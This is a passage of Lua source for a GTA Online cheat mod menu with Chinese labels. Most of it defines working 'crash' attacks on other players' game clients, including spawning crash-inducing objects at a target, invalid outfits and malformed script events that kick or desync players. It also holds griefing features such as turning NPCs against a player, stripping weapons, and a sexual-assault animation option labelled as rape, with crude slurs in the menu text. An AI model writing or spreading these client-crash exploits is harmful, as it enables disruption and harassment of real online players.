        local ar_vs = entities.get_all_vehicles_as_handles()
        for key, value in pairs(ar_vs) do
        entities.delete_by_handle(value)
        end
        menu.trigger_commands("nofuckoff".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(hidecrash,"非主流崩溃",{},"",function()
    pedp = players.user_ped(players.user())
    crashpedp = players.user_ped(PlayerID)
    ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    ENTITY.FREEZE_ENTITY_POSITION(pedp,true)
    Torso = PED.GET_PED_DRAWABLE_VARIATION(pedp, 3)
    Torso2 = PED.GET_PED_DRAWABLE_VARIATION(pedp, 8)
    Feet = PED.GET_PED_DRAWABLE_VARIATION(pedp, 6)
    Legs = PED.GET_PED_DRAWABLE_VARIATION(pedp, 4)
    if ENTITY.GET_ENTITY_MODEL(PLAYER.GET_PLAYER_PED(PlayerID)) then
    PED.SET_PED_COMPONENT_VARIATION(pedp, 3, 415, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 8, 234, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 6, 106, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 4, 151, 0, 0)
    else
    PED.SET_PED_COMPONENT_VARIATION(pedp, 3, 393, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 8, 189, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 6, 102, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 4, 144, 0, 0)
    end
    for i = 1, 10 do
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(pedp, pos.x, pos.y, pos.z)
    wait(200)
    end
    wait(500)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 3, Torso, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 8, Torso2, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 6, Feet, 0, 0)
    PED.SET_PED_COMPONENT_VARIATION(pedp, 4, Legs, 0, 0)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(pedp, pos.x, pos.y, pos.z)
    ENTITY.FREEZE_ENTITY_POSITION(pedp,false)
    end)

    GTAC(hidecrash,"大傻逼崩溃",{},"",function()
    ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(PlayerID), true)
    entities.create_object(2155335200 , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    entities.create_object(2155335200 , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false) 
    entities.create_object(2155335200  , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    entities.create_object(2155335200  , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    entities.create_object(2155335200  , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    entities.create_object(3026699584  , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    entities.create_object(2155335200  , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    entities.create_object(-1348598835  , ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    util.toast("大傻逼崩溃完成")
    end)

    GTAC(hidecrash, "UFO崩溃", {}, "", function()
		local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
		local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)
        local Object_pizza1 = CreateObject(0x7367D224, TargetPlayerPos)
        local Object_pizza2 = CreateObject(2155335200, TargetPlayerPos)
        local Object_pizza3 = CreateObject(3026699584, TargetPlayerPos)
        local Object_pizza4 = CreateObject(-1348598835, TargetPlayerPos)
        local Object_pizza5 = CreateObject(0xFBF7D21F, TargetPlayerPos)
        local Object_pizza6 = CreateObject(3613262246, TargetPlayerPos)
        for i = 0, 100 do
            local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true);
			ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza1, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
			ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza2, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
			ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza3, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
			ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza4, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
			ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza5, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
			ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza6, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
            wait(10)
        end
        wait(2000)
        entities.delete_by_handle(Object_pizza1)
        entities.delete_by_handle(Object_pizza2)
        entities.delete_by_handle(Object_pizza3)
        entities.delete_by_handle(Object_pizza4)
        entities.delete_by_handle(Object_pizza5)
        entities.delete_by_handle(Object_pizza6)
    end)

	GTAC(hidecrash, "水管崩溃", {}, "", function ()
	        util.request_model(200846641)
	        local objects = {}
	        for i = 1, 40 do
	            local coords = players.get_position(PlayerID)
	            objects[#objects + 1] = entities.create_object(200846641, v3.new(coords.x , coords.y , coords.z))
	            wait()
	        end
	        wait(3000)
	        for i = 1, 4 do
	            local coords = players.get_position(PlayerID)
	            FIRE.ADD_EXPLOSION(coords.x , coords.y , coords.z, 64, 100, true, true, 0.5, true)
	            wait(400)
	        end
	        wait(500)
	        for i = 1, #objects do
	            entities.delete_by_handle(objects[i])
	        end
	        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(200846641)
	end)

    local pclpid = {}
    GTAC(hidecrash, "全家死绝崩溃", {""}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local c = ENTITY.GET_ENTITY_COORDS(p)
        for i = 1, 23 do
            local pclone = entities.create_ped(26, ENTITY.GET_ENTITY_MODEL(p), c, 0)
            pclpid [#pclpid + 1] = pclone 
            PED.CLONE_PED_TO_TARGET(p, pclone)
        end
        local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID), true)
        all_peds = entities.get_all_peds_as_handles()
        local last_ped = 0
        local last_ped_ht = 0
        for k,ped in pairs(all_peds) do
            if not PED.IS_PED_A_PLAYER(ped) and not PED.IS_PED_FATALLY_INJURED(ped) then
                get_control_request(ped)
                if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
                end
    
                ENTITY.DETACH_ENTITY(ped, false, false)
                if last_ped ~= 0 then
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(ped, last_ped, 0, 0.0, 0.0, last_ped_ht-0.5, 0.0, 0.0, 0.0, false, false, false, false, 0, false)
                else
                    ENTITY.SET_ENTITY_COORDS(ped, c.x, c.y, c.z)
                end
                last_ped = ped
            end
        end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTAC(PlayerMainMenu, "GT崩溃", {}, "", function()
        gtcrash(PlayerID)
    end)
    
    GTAC(hidecrash, "命运崩溃", {"mycrash"}, "", function()
        local TargetPPos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID))
        local PED1  = CreatePed(28,-1011537562,TargetPPos,0)
        local PED2  = CreatePed(28,-541762431,TargetPPos,0)
        WEAPON.GIVE_WEAPON_TO_PED(PED1,-1813897027,1,true,true)
        WEAPON.GIVE_WEAPON_TO_PED(PED2,-1813897027,1,true,true)
        wait(1000)
        TASK.TASK_THROW_PROJECTILE(PED1,TargetPPos.x,TargetPPos.y,TargetPPos.z,0,0)
        TASK.TASK_THROW_PROJECTILE(PED2,TargetPPos.x,TargetPPos.y,TargetPPos.z,0,0)
        notification("崩溃完毕.")
    end)

    GTAC(hidecrash, "死神崩溃", {"sscrash"}, "", function()
        local cord = players.get_position(PlayerID)
        local a1 = entities.create_object(-930879665, cord)
        local a2 = entities.create_object(3613262246, cord)
        local b1 = entities.create_object(452618762, cord)
        local b2 = entities.create_object(3613262246, cord)
        local c1 = entities.create_object(1888301071, cord)
        local c2 = entities.create_object(-1011537562, cord)
        local c3 = entities.create_object(-541762431, cord)
        for i = 1, 10 do
            util.request_model(-930879665)
            wait(10)
            util.request_model(3613262246)
            wait(10)
            util.request_model(452618762)
            wait(300)
            util.request_model(1888301071)
            wait(300)
            entities.delete_by_handle(a1)
            entities.delete_by_handle(a2)
            entities.delete_by_handle(b1)
            entities.delete_by_handle(b2)
            entities.delete_by_handle(c1)
            entities.delete_by_handle(c2)
            entities.delete_by_handle(c3)
            util.request_model(452618762)
            wait(10)
            util.request_model(3613262246)
            wait(10)
            util.request_model(-930879665)
            wait(10)
            util.request_model(1888301071)
            wait(10)
        end
        util.toast("崩溃完成.")
    end)

    toxicchatincrash = false
    GTTG(hidecrash, "公屏狗叫", {}, "上面10个崩溃是否开启狗叫(请不要经常用,以避免被ban)", function(on)
        toxicchatincrash = on
    end)

    GTLP(oldcrash, "AIO崩溃", {""}, "", function()
        aaio(PlayerID)
    end)

    GTLuaScript.click_slider(oldcrash,"奥特曼崩(不要靠近和观看）", {"nicecrash"}, "1 = V1, 2 = V2, 3 = V3", 1, 3, 1, 1, function(on_change)
        
        if on_change == 1 then		
            aotemanv1(PlayerID)
        end
        if on_change == 2 then
            aotemanv2(PlayerID)
        end
        if on_change == 3 then
            aotemanv3(PlayerID)
        end   
    end)

    GTAC(oldcrash, "因莎拉崩溃", {"inshell"}, "", function()
        inshellcrash(PlayerID)
    end)
        
    GTAC(oldcrash, "改进露娜崩溃", {"proluna"}, "", function(state)   
        lunacrash(PlayerID)
    end)
    
    GTLP(oldcrash, "悲伤的耶稣崩溃", {"grief"}, "可以崩溃大多数菜单.", function()
        greifcrash(PlayerID)
    end)

    GTAC(oldcrash, "泡泡糖崩溃", {"sweetcrash"}, "", function()
        sugercrash(PlayerID)
    end)

    GTAC(oldcrash, "绿玩保护崩溃", {"cps"}, "尽量不要靠得太近!", function()
        cpscrash(PlayerID)
    end)

    GTAC(oldcrash, "莱纳斯崩溃", {"lestercrestcrash"}, "", function()
        lestcrash(PlayerID)
    end)

    GTAC(oldcrash, "董哥崩溃", {"dongge"}, "", function()
    dongge(PlayerID)
    end)

    GTAC(oldcrash, "美杜莎崩溃", {"planecrash"}, "", function() 
    MDS(PlayerID)
    end)
    
    GTAC(oldcrash,"马桶崩溃", {"wenyi"}, "", function()
    toiletcrash(PlayerID)
	end)

    GTAC(oldcrash, "韦德崩", {"wade"}, "", function() 
    wadecrash(PlayerID)
    end)
    
    GTAC(hidecrash, "OX崩v1", {"OXCrash"}, "远离!!!远离!!!远离!!!远离!!!远离!!!远离!!!", function()
        OXcrashgg(PlayerID)
    end)

    GTLP(hidecrash, "OX崩v2", {"OXCrashv2"}, "远离!!!远离!!!远离!!!远离!!!远离!!!远离!!!", function()
        OXcrashggv2(PlayerID)
    end)
  
    GTLuaScript.click_slider(hidecrash,"声音崩（不要连点）", {"sound crash"}, "1 = V1, 2 = V2", 1, 2, 1, 1, function(on_change)
        if on_change == 1 then	
            soundcrashv1(PlayerID)
        end   
        if on_change == 2 then
            soundcrashv2(PlayerID)
        end
    end)

    GTAC(hidecrash, "4g崩溃", {}, "4gcrash", function()
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id)
        local allvehicles = entities.get_all_vehicles_as_handles()
        for i = 1, 3 do
            for i = 1, #allvehicles do
                TASK.TASK_VEHICLE_TEMP_ACTION(player, allvehicles[i], 15, 1000)
                wait()
                TASK.TASK_VEHICLE_TEMP_ACTION(player, allvehicles[i], 16, 1000)
                wait()
                TASK.TASK_VEHICLE_TEMP_ACTION(player, allvehicles[i], 17, 1000)
                wait()
                TASK.TASK_VEHICLE_TEMP_ACTION(player, allvehicles[i], 18, 1000)
                wait()
            end
        end
    end)
        
GTAC(hidecrash, "5g崩溃", {"5gcrash"}, "5gcrash", function()
    x999gcrash(PlayerID)
end)

GTLP(hidecrash, "6g崩溃", {"six6crash"}, "6gcrash", function()
    six6crash(PlayerID)
end)

GTAC(hidecrash, "大JB崩", {"dick"}, "dick", function()
    suckmydick(PlayerID)
end)

GTAC(hidecrash, "猎杀者", {"huntercrash"}, "有bug，慎用", function()
    huntercrash(PlayerID)
end)

GTAC(hidecrash, "自欺欺人崩溃",{}, "", function()
    local mypid = players.user_ped(players.user())
    if not lll then
      util.request_model(1784254509, players.user(), mypid, 1)
      wait(300)
    end
    mypos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    for i = 1, 30 do
      pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
      pos.z = pos.z - 10
      ENTITY.SET_ENTITY_COORDS_NO_OFFSET(mypid, pos.x, pos.y, pos.z)
      wait(50)
    end
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(mypid, pos.x, pos.y, pos.z)
  end)
    
GTAC(hidecrash, "无效外观V1", {"invalidclothesv1"}, "", function()
    BadOutfitCrashV1(PlayerID)
end)

GTLP(oldcrash, "单崩黄昏", {"dh"}, "", function()
    dhcrash(PlayerID)
    end)

GTLP(oldcrash, "拖车崩", {"tuoche"}, "tuoche", function()
    tuocheb(PlayerID)
end)

GTAC(PlayerMainMenu, "复制名称", {''}, "", function(state)
    local r_id = PLAYER.GET_PLAYER_NAME(PlayerID)
    util.copy_to_clipboard(r_id)
end)
    
GTAC(PlayerMainMenu, "复制RID", {''}, "", function(state)
local rid = players.get_rockstar_id(PlayerID)
util.copy_to_clipboard(rid)
end)

GTAC(PlayerMainMenu,"传送到玩家", {""}, "", function()
    tpplayer(PlayerID)
end)	   

GTLP(PlayerMainMenu,"持续传送到玩家", {""}, "", function()
    tpplayer(PlayerID)
    wait(500)
end)	   
end

players.on_join(GenerateFeatures)

local function playerActionsSetup(pid) 

local playerMain = GT(GTluaScript.player_root(pid), "恶搞选项", {"GTTrolling"}, "无恶不作,无所不为")

marking_as_modder = GTTG(GTLuaScript.player_root(pid), "标记为作弊者", {"markmodder"}, "#实验阶段\n阻止TA看见您,但您仍然可以看见TA", function (on)
    if on then
        if pid == players.user() then 
            util.toast("你已经是个挂壁了")
            menu.trigger_commands("markmodder".. PLAYER.GET_PLAYER_NAME(pid) .." off")
        else
            menu.trigger_commands("desync".. PLAYER.GET_PLAYER_NAME(pid) .." on")
            util.toast("\n作弊玩家: " ..PLAYER.GET_PLAYER_NAME(pid).."\nRID: ".. players.get_rockstar_id(pid))
        end
    else
        menu.trigger_commands("desync".. PLAYER.GET_PLAYER_NAME(pid) .." off")
    end
end)

local updatetroll = GT(playerMain, "近期更新", {}, "")

GTAC(updatetroll, "让他滚蛋", {}, "", function ()
    if players.user() then
    util.trigger_script_event(1 << pid, {1103127469, players.user(), id, 32, WIRI_NETWORK.NETWORK_HASH_FROM_PLAYER_HANDLE(pid), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, math.random(1, 10)})
    util.trigger_script_event(1 << pid, {1103127469, players.user(), id, 32, WIRI_NETWORK.NETWORK_HASH_FROM_PLAYER_HANDLE(pid), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0})
    util.trigger_script_event(1 << pid, {1103127469, players.user(), id, 32, WIRI_NETWORK.NETWORK_HASH_FROM_PLAYER_HANDLE(pid), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1})
    end
end)

function player_active(pid, Playing, inTransition)
	if pid == -1 or
	not NETWORK.NETWORK_IS_PLAYER_ACTIVE(pid) then
		return false
	end
	if Playing and not PLAYER.IS_PLAYER_PLAYING(pid) then
		return false
	end
	return true
end

GTTG(updatetroll, "上头船", {}, "骑人", function (f)
    if players.user() == pid then return end
    usingPiggyback = f
    if usingPiggyback then
        usingRape = false
        local target = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        STREAMING.REQUEST_ANIM_DICT("rcmjosh2")
        while not STREAMING.HAS_ANIM_DICT_LOADED("rcmjosh2") do
            wait()
        end
        local boneId = PED.GET_PED_BONE_INDEX(target, 0xDD1C)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(
            players.user_ped(),
            target,
            boneId,
            0.0, 0.3, 0.7,
            0, 0, 0,
            false, true, false, false, 0, true, 0)
        TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmjosh2", "josh_sitting_loop", 8.0, -8.0, -1, 1, 0.0, false, false, false)
        while usingPiggyback and player_active(pid, false, true) and
        not util.is_session_transition_active() do
            wait()
        end
        usingPiggyback = false
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        ENTITY.DETACH_ENTITY(players.user_ped(), true, false)
    end
end)

GTTG(updatetroll, "下头船", {}, "强奸", function (f)
    if players.user() == pid then return end
    usingPiggyback = f
    if usingPiggyback then
        usingRape = false
        local target = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        STREAMING.REQUEST_ANIM_DICT("rcmpaparazzo_2")
        while not STREAMING.HAS_ANIM_DICT_LOADED("rcmpaparazzo_2") do
            wait()
        end
        local boneId = PED.GET_PED_BONE_INDEX(target, 0xDD1C)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(
            players.user_ped(),
            target,
            boneId,
            0.0, -0.3, 0,
            0, 0, 0,
            false, true, false, false, 0, true, 0)
        TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmpaparazzo_2", "shag_loop_a", 8.0, -8.0, -1, 1, 0.0, false, false, false)
        while usingPiggyback and player_active(pid, false, true) and
        not util.is_session_transition_active() do
            wait()
        end
        usingPiggyback = false
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        ENTITY.DETACH_ENTITY(players.user_ped(), true, false)
    end
end)

GTAC(updatetroll, "小丑花车攻击", {"letpersonfk"}, "", function(on_click)
    local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
    coords.x = coords['x']
    coords.y = coords['y']
    coords.z = coords['z'] + 20.0
    request_model(util.joaat("speedo2"))
    local truck = entities.create_vehicle(util.joaat("speedo2"), coords, 0.0)
    local vel = ENTITY.GET_ENTITY_VELOCITY(vel)
    ENTITY.SET_ENTITY_VELOCITY(truck, vel['x'], vel['y'], -200.0)
    VEHICLE.SET_VEHICLE_DOORS_LOCKED(truck, 3)
    VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_NON_SCRIPT_PLAYERS(truck, true)
    wait(2000)
    entities.delete_by_handle(truck)
end)

GTAC(updatetroll, "小电驴砸死他", {"crush2"}, "", function(on_click)
    local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
    coords.x = coords['x']
    coords.y = coords['y']
    coords.z = coords['z'] + 20.0
    request_model(util.joaat("faggio2"))
    local truck = entities.create_vehicle(util.joaat("faggio2"), coords, 0.0)
    local vel = ENTITY.GET_ENTITY_VELOCITY(vel)
    ENTITY.SET_ENTITY_VELOCITY(truck, vel['x'], vel['y'], -200.0)
    VEHICLE.SET_VEHICLE_DOORS_LOCKED(truck, 3)
    VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_NON_SCRIPT_PLAYERS(truck, true)
    wait(2000)
    entities.delete_by_handle(truck)
end)

Trolling_NearbyVehicle = GT(updatetroll, "控制玩家附近载具", {}, "需要在此玩家附近")

player_nearby_vehicle = {
    radius = 60,
    mission_type = 6,
}

menu.slider(Trolling_NearbyVehicle, "范围半径", { "nearby_veh_radius" }, "", 0, 1000, 60, 10,
    function(value)
        player_nearby_vehicle.radius = value
    end)

GTLP(Trolling_NearbyVehicle, "附近司机追赶此玩家", {}, "", function()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    for _, vehicle in pairs(GET_NEARBY_VEHICLES(pid, player_nearby_vehicle.radius)) do
        local driver = GET_PED_IN_VEHICLE_SEAT(vehicle, -1)
        if driver ~= 0 then
            if not IS_PED_PLAYER(driver) and not TASK.GET_IS_TASK_ACTIVE(driver, 363) then
                RequestControl(driver)

                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(driver, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(driver, true)
                PED.SET_PED_KEEP_TASK(driver, true)

                disable_ped_flee_attributes(driver)

                TASK.TASK_VEHICLE_CHASE(driver, player_ped)
            end
        end
    end
end)

GTD(Trolling_NearbyVehicle, "设置载具行为")
menu.list_select(Trolling_NearbyVehicle, "行为类型", {}, "", Vehicle_MissionType.ListItem, 6,
    function(value)
        player_nearby_vehicle.mission_type = Vehicle_MissionType.ValueList[value]
    end)
GTLP(Trolling_NearbyVehicle, "设置针对此玩家的行为", {}, "", function()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    for _, vehicle in pairs(GET_NEARBY_VEHICLES(pid, player_nearby_vehicle.radius)) do
        local driver = GET_PED_IN_VEHICLE_SEAT(vehicle, -1)
        if driver ~= 0 then
            if not IS_PED_PLAYER(driver) and TASK.GET_ACTIVE_VEHICLE_MISSION_TYPE(vehicle) ~= player_nearby_vehicle.mission_type then
                RequestControl(driver)

                PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(driver, true)
                TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(driver, true)
                PED.SET_PED_KEEP_TASK(driver, true)

                disable_ped_flee_attributes(driver)

                TASK.TASK_VEHICLE_MISSION_PED_TARGET(driver, vehicle, player_ped, player_nearby_vehicle.mission_type,
                    500.0, 0, 0.0,
                    0.0, true)
            end
        end
    end
end)
--
Trolling_NearbyPed = GT(updatetroll, "控制玩家附近行人", {}, "需要在此玩家附近")

player_nearby_ped = {
    radius = 60,
    combat = {
        weapon = util.joaat(Weapon_Common.ModelList[1]),
        is_enhance = false,
        is_drop_money = false,
        health_mult = 1,
    },
}

menu.slider(Trolling_NearbyPed, "范围半径", { "nearby_ped_radius" }, "", 0, 1000, 60, 10,
    function(value)
        player_nearby_ped.radius = value
    end)

GTLP(Trolling_NearbyPed, "行人逮捕此玩家", {}, "", function()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    for _, ped in pairs(GET_NEARBY_PEDS(pid, player_nearby_ped.radius)) do
        if not IS_PED_PLAYER(ped) and not TASK.IS_PED_RUNNING_ARREST_TASK(ped) then
            RequestControl(driver)

            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(driver, true)
            TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(driver, true)
            PED.SET_PED_KEEP_TASK(driver, true)

            disable_ped_flee_attributes(driver)

            TASK.TASK_ARREST_PED(ped, player_ped)
        end
    end
end)

GTD(Trolling_NearbyPed, "行人敌对此玩家")
GTLP(Trolling_NearbyPed, "开启", {}, "", function()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local weapon_smoke = util.joaat("WEAPON_SMOKEGRENADE")
    for _, ped in pairs(GET_NEARBY_PEDS(pid, player_nearby_ped.radius)) do
        if not IS_PED_PLAYER(ped) and not PED.IS_PED_IN_COMBAT(ped, player_ped) then
            RequestControl(ped)

            WEAPON.GIVE_WEAPON_TO_PED(ped, weapon_smoke, -1, false, false)
            WEAPON.GIVE_WEAPON_TO_PED(ped, player_nearby_ped.combatweapon, -1, false, true)
            WEAPON.SET_CURRENT_PED_WEAPON(ped, player_nearby_ped.combat.weapon, false)
            WEAPON.SET_PED_DROPS_WEAPONS_WHEN_DEAD(ped, false)

            local health = ENTITY.GET_ENTITY_MAX_HEALTH(ped)
            ENTITY.SET_ENTITY_HEALTH(ped, health * player_nearby_ped.combat.health_mult)

            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)
            TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(ped, true)

            disable_ped_flee_attributes(ped)

            TASK.TASK_COMBAT_PED(ped, player_ped, 0, 16)
            PED.SET_PED_KEEP_TASK(ped, true)

            --强化作战能力
            if player_nearby_ped.combat.is_enhance then
                increase_ped_combat_ability(ped)
                increase_ped_combat_attributes(ped)
            end
            --掉落现金为2000
            if player_nearby_ped.combat.is_drop_money then
                PED.SET_PED_MONEY(ped, 2000)
            end
        end
    end
end)

GTTG(Trolling_NearbyPed, "强化作战能力", {}, "如果npc会逃跑的话，开启这个",
    function(toggle)
        player_nearby_ped.combat.is_enhance = toggle
    end)
menu.slider(Trolling_NearbyPed, "血量加倍", { "nearbyped_health_mult" }, "", 1, 100, 1, 1,
    function(value)
        player_nearby_ped.combat.health_mult = value
    end)
GTTG(Trolling_NearbyPed, "击杀后掉两千块钱", {}, "当做击杀奖励", function(toggle)
    player_nearby_ped.combat.is_drop_money = toggle
end)

GTAC(updatetroll, "以此玩家击杀所有NPC", {}, "", function()
    local weaponHash = util.joaat("WEAPON_APPISTOL")
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    for _, ped in pairs(entities.get_all_peds_as_handles()) do
        if not IS_PED_PLAYER(ped) and not ENTITY.IS_ENTITY_DEAD(ped) then
            local head_pos = PED.GET_PED_BONE_COORDS(ped, 0x322c, 0, 0, 0)
            local vector = ENTITY.GET_ENTITY_FORWARD_VECTOR(ped)
            local start_pos = {}
            start_pos.x = head_pos.x + vector.x
            start_pos.y = head_pos.y + vector.y
            start_pos.z = head_pos.z + vector.z

            local ped_veh = GET_VEHICLE_PED_IS_IN(ped)
            if ped_veh ~= 0 then
                MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(
                    start_pos.x, start_pos.y, start_pos.z,
                    head_pos.x, head_pos.y, head_pos.z,
                    1000, false, weaponHash, player_ped,
                    false, false, 1000, ped_veh)
            else
                MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(
                    start_pos.x, start_pos.y, start_pos.z,
                    head_pos.x, head_pos.y, head_pos.z,
                    1000, false, weaponHash, player_ped,
                    false, false, 1000)
            end
        end
    end
end)

GTAC(updatetroll, "载具内敌人攻击", {}, "", function()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local vehicle = GET_VEHICLE_PED_IS_IN(player_ped)
    if vehicle ~= 0 then
        local modelHash = util.joaat("A_M_M_ACult_01")
        local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(player_ped, 0.0, 0.0, 2.0)
        local heading = ENTITY.GET_ENTITY_HEADING(player_ped)

        local g_ped = Create_Network_Ped(26, modelHash, coords.x, coords.y, coords.z, heading)
        PED.SET_PED_INTO_VEHICLE(g_ped, vehicle, -2)

        PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(g_ped, true)
        TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(g_ped, true)
        TASK.TASK_COMBAT_PED(g_ped, player_ped, 0, 16)
        PED.SET_PED_KEEP_TASK(g_ped, true)

        PED.SET_PED_MONEY(g_ped, 2000)
        ENTITY.SET_ENTITY_MAX_HEALTH(g_ped, 30000)
        ENTITY.SET_ENTITY_HEALTH(g_ped, 30000)
        PED.SET_PED_CAN_BE_SHOT_IN_VEHICLE(g_ped, false)
        PED.SET_PED_CAN_BE_DRAGGED_OUT(g_ped, false)

        local weaponHash = util.joaat("WEAPON_MICROSMG")
        WEAPON.GIVE_WEAPON_TO_PED(g_ped, weaponHash, -1, false, true)
        WEAPON.SET_CURRENT_PED_WEAPON(g_ped, weaponHash, true)

        disable_ped_flee_attributes(g_ped)
        increase_ped_combat_ability(g_ped, false, false)
        increase_ped_combat_attributes(g_ped)
        PED.SET_PED_COMBAT_ATTRIBUTES(g_ped, 3, false) --CanLeaveVehicle
    else
        util.toast("未找到玩家的载具")
    end
end)

GTLP(updatetroll, ("玩家射击时删除武器"), {""}, "", function()
    local targetPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    if PED.IS_PED_SHOOTING(targetPed) then
        local weaponhash = WEAPON.GET_SELECTED_PED_WEAPON(targetPed)
        WEAPON.REMOVE_WEAPON_FROM_PED(targetPed, weaponhash)
    end
end)

dropnuke = GT(updatetroll,("新型核弹"), {""}, "BOOM!!!")

GTAC(dropnuke, ("正常掉落核弹"), {}, "", function()
    local hash = util.joaat("prop_military_pickup_01")
    ent_func.request_model(hash)
    local pos = players.get_position(pid)
    local nuke = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, pos.x, pos.y, pos.z + 20, true, false, true)
